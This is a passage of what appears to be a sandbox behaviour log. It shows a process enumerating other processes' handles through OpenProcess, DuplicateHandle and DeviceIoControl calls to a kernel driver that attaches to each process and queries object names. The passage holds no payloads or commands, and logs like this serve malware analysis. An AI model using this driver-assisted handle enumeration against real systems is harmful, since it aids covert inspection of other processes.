lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec0090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec0090*, lpBytesReturned=0x12d450*=0x1a, lpOverlapped=0x0) returned 1 [0061.845] PsLookupProcessByProcessId (in: ProcessId=0x88c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0061.845] PsAcquireProcessExitSynchronization () returned 0x0 [0061.845] KeStackAttachProcess (in: PROCESS=0xfffffa80037bcb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80037bcb30, ApcState=0xfffff880054f85d0) [0061.845] ObReferenceObjectByHandle (in: Handle=0x54, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80030987b0, HandleInformation=0x0) returned 0x0 [0061.845] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0061.845] PsReleaseProcessExitSynchronization () returned 0x2 [0061.845] ObfDereferenceObject (Object=0xfffffa80037bcb30) returned 0xe [0061.845] ObQueryNameString (in: Object=0xfffffa80030987b0, ObjectNameInfo=0xfffffa80038c6044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038c6044, ReturnLength=0xfffff880054f8550) returned 0x0 [0061.845] ObfDereferenceObject (Object=0xfffffa80030987b0) returned 0x4d8 [0061.845] IofCompleteRequest (Irp=0xfffffa800d08d010, PriorityBoost=0) [0061.845] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec0090 | out: hHeap=0x150000) returned 1 [0061.845] CloseHandle (hObject=0xc4) returned 1 [0061.845] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x88c) returned 0xc4 [0061.845] GetCurrentProcess () returned 0xffffffffffffffff [0061.845] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0x48, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0x0) returned 0 [0061.846] CloseHandle (hObject=0xc4) returned 1 [0061.846] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x88) returned 0x18cb50 [0061.846] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335004c, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x18cb50, nOutBufferSize=0x88, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x18cb50*, lpBytesReturned=0x12d450*=0x28, lpOverlapped=0x0) returned 1 [0061.846] PsLookupProcessByProcessId (in: ProcessId=0x88c, Process=0xfffff880054f85a8 | out: Process=0xfffff880054f85a8) returned 0x0 [0061.846] PsAcquireProcessExitSynchronization () returned 0x0 [0061.846] KeStackAttachProcess (in: PROCESS=0xfffffa80037bcb30, ApcState=0xfffff880054f85c8 | out: PROCESS=0xfffffa80037bcb30, ApcState=0xfffff880054f85c8) [0061.846] ObReferenceObjectByHandle (in: Handle=0x48, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f85b0, HandleInformation=0x0 | out: Object=0xfffff880054f85b0*=0xfffffa8003881b30, HandleInformation=0x0) returned 0x0 [0061.846] PsReleaseProcessExitSynchronization () returned 0x2 [0061.846] ObfDereferenceObject (Object=0xfffffa80037bcb30) returned 0xe [0061.846] ZwQueryObject (in: Handle=0x48, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0xfffff880054f85a4 | out: ObjectInformation=0x0, ReturnLength=0xfffff880054f85a4) returned 0xc0000004 [0061.846] ExAllocatePoolWithTag (PoolType=0x1, NumberOfBytes=0x88, Tag=0x58637250) returned 0xfffff8a0025628c0 [0061.846] ZwQueryObject (in: Handle=0x48, ObjectInformationClass=0x2, ObjectInformation=0xfffff8a0025628c0, ObjectInformationLength=0x88, ReturnLength=0x0 | out: ObjectInformation=0xfffff8a0025628c0, ReturnLength=0x0) returned 0x0 [0061.846] ExFreePoolWithTag (P=0xfffff8a0025628c0, Tag=0x0) [0061.846] ObfDereferenceObject (Object=0xfffffa8003881b30) returned 0x1 [0061.846] KeUnstackDetachProcess (ApcState=0xfffff880054f85c8) [0061.846] IofCompleteRequest (Irp=0xfffffa800d08d010, PriorityBoost=0) [0061.846] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x18cb50 | out: hHeap=0x150000) returned 1 [0061.846] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec0090 [0061.846] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec0090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec0090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0061.846] PsLookupProcessByProcessId (in: ProcessId=0x88c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0061.846] PsAcquireProcessExitSynchronization () returned 0x0 [0061.846] KeStackAttachProcess (in: PROCESS=0xfffffa80037bcb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80037bcb30, ApcState=0xfffff880054f85d0) [0061.846] ObReferenceObjectByHandle (in: Handle=0x48, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003881b30, HandleInformation=0x0) returned 0x0 [0061.846] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0061.846] PsReleaseProcessExitSynchronization () returned 0x2 [0061.846] ObfDereferenceObject (Object=0xfffffa80037bcb30) returned 0xe [0061.846] ObQueryNameString (in: Object=0xfffffa8003881b30, ObjectNameInfo=0xfffffa80038c7044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038c7044, ReturnLength=0xfffff880054f8550) returned 0x0 [0061.846] ObfDereferenceObject (Object=0xfffffa8003881b30) returned 0x1 [0061.846] IofCompleteRequest (Irp=0xfffffa800d08d010, PriorityBoost=0) [0061.846] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec0090 | out: hHeap=0x150000) returned 1 [0061.846] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x6e8) returned 0xc4 [0061.846] GetCurrentProcess () returned 0xffffffffffffffff [0061.846] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0xc8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0061.847] CloseHandle (hObject=0xc4) returned 1 [0061.847] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0061.847] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x78) returned 0x174c50 [0061.847] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x174c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x174c50, ReturnLength=0x0) returned 0x0 [0061.847] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x174c50 | out: hHeap=0x150000) returned 1 [0061.847] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec0090 [0061.847] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec0090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec0090*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0061.847] PsLookupProcessByProcessId (in: ProcessId=0x6e8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0061.847] PsAcquireProcessExitSynchronization () returned 0x0 [0061.847] KeStackAttachProcess (in: PROCESS=0xfffffa8003648060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003648060, ApcState=0xfffff880054f85d0) [0061.847] ObReferenceObjectByHandle (in: Handle=0xc8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001546a40, HandleInformation=0x0) returned 0x0 [0061.847] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0061.847] PsReleaseProcessExitSynchronization () returned 0x2 [0061.847] ObfDereferenceObject (Object=0xfffffa8003648060) returned 0x1f [0061.847] ObQueryNameString (in: Object=0xfffff8a001546a40, ObjectNameInfo=0xfffffa80038c8044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038c8044, ReturnLength=0xfffff880054f8550) returned 0x0 [0061.847] ObfDereferenceObject (Object=0xfffff8a001546a40) returned 0xb [0061.847] IofCompleteRequest (Irp=0xfffffa800d08d010, PriorityBoost=0) [0061.847] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec0090 | out: hHeap=0x150000) returned 1 [0061.847] CloseHandle (hObject=0xc0) returned 1 [0061.847] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xb70) returned 0xc0 [0061.847] GetCurrentProcess () returned 0xffffffffffffffff [0061.847] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0xbc, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc4) returned 1 [0061.847] CloseHandle (hObject=0xc0) returned 1 [0061.847] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0061.847] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x78) returned 0x174c50 [0061.847] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x174c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x174c50, ReturnLength=0x0) returned 0x0 [0061.847] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x174c50 | out: hHeap=0x150000) returned 1 [0061.847] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec0090 [0061.847] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec0090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec0090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0061.847] PsLookupProcessByProcessId (in: ProcessId=0xb70, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0061.847] PsAcquireProcessExitSynchronization () returned 0x0 [0061.847] KeStackAttachProcess (in: PROCESS=0xfffffa800378d450, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800378d450, ApcState=0xfffff880054f85d0) [0061.847] ObReferenceObjectByHandle (in: Handle=0xbc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80038b4630, HandleInformation=0x0) returned 0x0 [0061.847] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0061.848] PsReleaseProcessExitSynchronization () returned 0x2 [0061.848] ObfDereferenceObject (Object=0xfffffa800378d450) returned 0x22 [0061.848] ObQueryNameString (in: Object=0xfffffa80038b4630, ObjectNameInfo=0xfffffa80038c9044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038c9044, ReturnLength=0xfffff880054f8550) returned 0x0 [0061.848] ObfDereferenceObject (Object=0xfffffa80038b4630) returned 0x3 [0061.848] IofCompleteRequest (Irp=0xfffffa800d08d010, PriorityBoost=0) [0061.848] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec0090 | out: hHeap=0x150000) returned 1 [0061.848] CloseHandle (hObject=0xc4) returned 1 [0061.848] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xb70) returned 0xc4 [0061.848] GetCurrentProcess () returned 0xffffffffffffffff [0061.848] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0xa8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0061.848] CloseHandle (hObject=0xc4) returned 1 [0061.848] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0061.848] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x88) returned 0x18cb50 [0061.848] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x18cb50, ObjectInformationLength=0x88, ReturnLength=0x0 | out: ObjectInformation=0x18cb50, ReturnLength=0x0) returned 0x0 [0061.848] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x18cb50 | out: hHeap=0x150000) returned 1 [0061.848] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec0090 [0061.848] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec0090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec0090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0061.848] PsLookupProcessByProcessId (in: ProcessId=0xb70, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0061.848] PsAcquireProcessExitSynchronization () returned 0x0 [0061.848] KeStackAttachProcess (in: PROCESS=0xfffffa800378d450, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800378d450, ApcState=0xfffff880054f85d0) [0061.848] ObReferenceObjectByHandle (in: Handle=0xa8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80037b8970, HandleInformation=0x0) returned 0x0 [0061.848] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0061.848] PsReleaseProcessExitSynchronization () returned 0x2 [0061.848] ObfDereferenceObject (Object=0xfffffa800378d450) returned 0x22 [0061.848] ObQueryNameString (in: Object=0xfffffa80037b8970, ObjectNameInfo=0xfffffa80038ca044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038ca044, ReturnLength=0xfffff880054f8550) returned 0x0 [0061.848] ObfDereferenceObject (Object=0xfffffa80037b8970) returned 0x2 [0061.848] IofCompleteRequest (Irp=0xfffffa800d08d010, PriorityBoost=0) [0061.848] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec0090 | out: hHeap=0x150000) returned 1 [0061.848] CloseHandle (hObject=0xc0) returned 1 [0061.848] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xb70) returned 0xc0 [0061.848] GetCurrentProcess () returned 0xffffffffffffffff [0061.848] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0xa4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc4) returned 1 [0061.848] CloseHandle (hObject=0xc0) returned 1 [0061.848] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0061.849] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x88) returned 0x18cb50 [0061.849] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x18cb50, ObjectInformationLength=0x88, ReturnLength=0x0 | out: ObjectInformation=0x18cb50, ReturnLength=0x0) returned 0x0 [0061.849] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x18cb50 | out: hHeap=0x150000) returned 1 [0061.849] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec0090 [0061.849] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec0090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec0090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0061.849] PsLookupProcessByProcessId (in: ProcessId=0xb70, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0061.849] PsAcquireProcessExitSynchronization () returned 0x0 [0061.849] KeStackAttachProcess (in: PROCESS=0xfffffa800378d450, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800378d450, ApcState=0xfffff880054f85d0) [0061.849] ObReferenceObjectByHandle (in: Handle=0xa4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800253bd00, HandleInformation=0x0) returned 0x0 [0061.849] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0061.849] PsReleaseProcessExitSynchronization () returned 0x2 [0061.849] ObfDereferenceObject (Object=0xfffffa800378d450) returned 0x22 [0061.849] ObQueryNameString (in: Object=0xfffffa800253bd00, ObjectNameInfo=0xfffffa80038cb044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038cb044, ReturnLength=0xfffff880054f8550) returned 0x0 [0061.849] ObfDereferenceObject (Object=0xfffffa800253bd00) returned 0x3 [0061.849] IofCompleteRequest (Irp=0xfffffa800d08d010, PriorityBoost=0) [0061.849] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec0090 | out: hHeap=0x150000) returned 1 [0061.849] CloseHandle (hObject=0xc4) returned 1 [0061.849] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xb70) returned 0xc4 [0061.849] GetCurrentProcess () returned 0xffffffffffffffff [0061.849] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0xa0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0061.849] CloseHandle (hObject=0xc4) returned 1 [0061.849] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0061.849] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x80) returned 0x18cb50 [0061.849] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x18cb50, ObjectInformationLength=0x80, ReturnLength=0x0 | out: ObjectInformation=0x18cb50, ReturnLength=0x0) returned 0x0 [0061.849] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x18cb50 | out: hHeap=0x150000) returned 1 [0061.849] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec0090 [0061.849] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec0090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec0090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0061.849] PsLookupProcessByProcessId (in: ProcessId=0xb70, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0061.849] PsAcquireProcessExitSynchronization () returned 0x0 [0061.849] KeStackAttachProcess (in: PROCESS=0xfffffa800378d450, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800378d450, ApcState=0xfffff880054f85d0) [0061.849] ObReferenceObjectByHandle (in: Handle=0xa0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a003da1a00, HandleInformation=0x0) returned 0x0 [0061.849] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0061.849] PsReleaseProcessExitSynchronization () returned 0x2 [0061.849] ObfDereferenceObject (Object=0xfffffa800378d450) returned 0x22 [0061.849] ObQueryNameString (in: Object=0xfffff8a003da1a00, ObjectNameInfo=0xfffffa80038cc044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038cc044, ReturnLength=0xfffff880054f8550) returned 0x0 [0061.849] ObfDereferenceObject (Object=0xfffff8a003da1a00) returned 0x2 [0061.849] IofCompleteRequest (Irp=0xfffffa800d08d010, PriorityBoost=0) [0061.850] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec0090 | out: hHeap=0x150000) returned 1 [0061.850] CloseHandle (hObject=0xc0) returned 1 [0061.850] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xbc0) returned 0xc0 [0061.850] GetCurrentProcess () returned 0xffffffffffffffff [0061.850] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x1d8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc4) returned 1 [0061.850] CloseHandle (hObject=0xc0) returned 1 [0061.850] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0061.850] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x78) returned 0x174c50 [0061.850] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x174c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x174c50, ReturnLength=0x0) returned 0x0 [0061.850] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x174c50 | out: hHeap=0x150000) returned 1 [0061.850] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec0090 [0061.850] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec0090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec0090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0061.850] PsLookupProcessByProcessId (in: ProcessId=0xbc0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0061.850] PsAcquireProcessExitSynchronization () returned 0x0 [0061.850] KeStackAttachProcess (in: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880054f85d0) [0061.850] ObReferenceObjectByHandle (in: Handle=0x1d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800216f060, HandleInformation=0x0) returned 0x0 [0061.850] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0061.850] PsReleaseProcessExitSynchronization () returned 0x2 [0061.850] ObfDereferenceObject (Object=0xfffffa80022bd7b0) returned 0x39 [0061.850] ObQueryNameString (in: Object=0xfffffa800216f060, ObjectNameInfo=0xfffffa80038cd044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038cd044, ReturnLength=0xfffff880054f8550) returned 0x0 [0061.850] ObfDereferenceObject (Object=0xfffffa800216f060) returned 0x2 [0061.850] IofCompleteRequest (Irp=0xfffffa800d08d010, PriorityBoost=0) [0061.850] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec0090 | out: hHeap=0x150000) returned 1 [0061.850] CloseHandle (hObject=0xc4) returned 1 [0061.850] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x738) returned 0xc4 [0061.850] GetCurrentProcess () returned 0xffffffffffffffff [0061.850] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0x454, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0x0) returned 0 [0061.850] CloseHandle (hObject=0xc4) returned 1 [0061.850] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x88) returned 0x18cb50 [0061.850] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335004c, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x18cb50, nOutBufferSize=0x88, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x18cb50*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0061.850] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff880054f85a8 | out: Process=0xfffff880054f85a8) returned 0x0 [0061.850] PsAcquireProcessExitSynchronization () returned 0x0 [0061.851] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880054f85c8 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880054f85c8) [0061.851] ObReferenceObjectByHandle (in: Handle=0x454, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f85b0, HandleInformation=0x0 | out: Object=0xfffff880054f85b0*=0xfffffa8001a2d420, HandleInformation=0x0) returned 0x0 [0061.851] PsReleaseProcessExitSynchronization () returned 0x2 [0061.851] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xa9 [0061.851] ZwQueryObject (in: Handle=0x454, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0xfffff880054f85a4 | out: ObjectInformation=0x0, ReturnLength=0xfffff880054f85a4) returned 0xc0000004 [0061.851] ExAllocatePoolWithTag (PoolType=0x1, NumberOfBytes=0x80, Tag=0x58637250) returned 0xfffff8a003e3dea0 [0061.851] ZwQueryObject (in: Handle=0x454, ObjectInformationClass=0x2, ObjectInformation=0xfffff8a003e3dea0, ObjectInformationLength=0x80, ReturnLength=0x0 | out: ObjectInformation=0xfffff8a003e3dea0, ReturnLength=0x0) returned 0x0 [0061.851] ExFreePoolWithTag (P=0xfffff8a003e3dea0, Tag=0x0) [0061.851] ObfDereferenceObject (Object=0xfffffa8001a2d420) returned 0x2 [0061.851] KeUnstackDetachProcess (ApcState=0xfffff880054f85c8) [0061.851] IofCompleteRequest (Irp=0xfffffa800d08d010, PriorityBoost=0) [0061.851] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x18cb50 | out: hHeap=0x150000) returned 1 [0061.851] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec0090 [0061.851] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec0090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec0090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0061.851] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0061.851] PsAcquireProcessExitSynchronization () returned 0x0 [0061.851] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880054f85d0) [0061.851] ObReferenceObjectByHandle (in: Handle=0x454, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, 